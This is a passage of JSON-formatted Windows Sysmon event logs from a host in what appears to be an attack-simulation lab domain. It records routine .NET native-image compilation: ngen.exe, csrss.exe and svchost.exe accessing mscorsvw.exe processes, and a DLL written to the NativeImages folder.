C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010DC9D0E00}","TargetProcessId":"4588","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010DC9D0E00}\r\nTargetProcessId: 4588\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010DC9D0E00}","TargetProcessId":"4588","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010DC9D0E00}\r\nTargetProcessId: 4588\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010DC9D0E00}","TargetProcessId":"4588","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010CAA10E00}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010CAA10E00}","TargetProcessId":"4764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010CAA10E00}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010CAA10E00}","TargetProcessId":"4764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:59.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F3-5F2D-0000-0010CAA10E00}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:59.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F3-5F2D-0000-0010CAA10E00}","TargetProcessId":"4764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:02.447\r\nProcessGuid: {90617006-42F3-5F2D-0000-0010CAA10E00}\r\nProcessId: 4764\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\129c-0\\System.IdentityModel.dll\r\nCreationUtcTime: 2020-08-07 12:03:02.447","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:02.447","ProcessGuid":"{90617006-42F3-5F2D-0000-0010CAA10E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\129c-0\\System.IdentityModel.dll","CreationUtcTime":"2020-08-07 12:03:02.447","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.525\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00108AA80E00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.525","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00108AA80E00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:02.525\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-00108AA80E00}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:02.525","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-00108AA80E00}","TargetProcessId":"1392","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 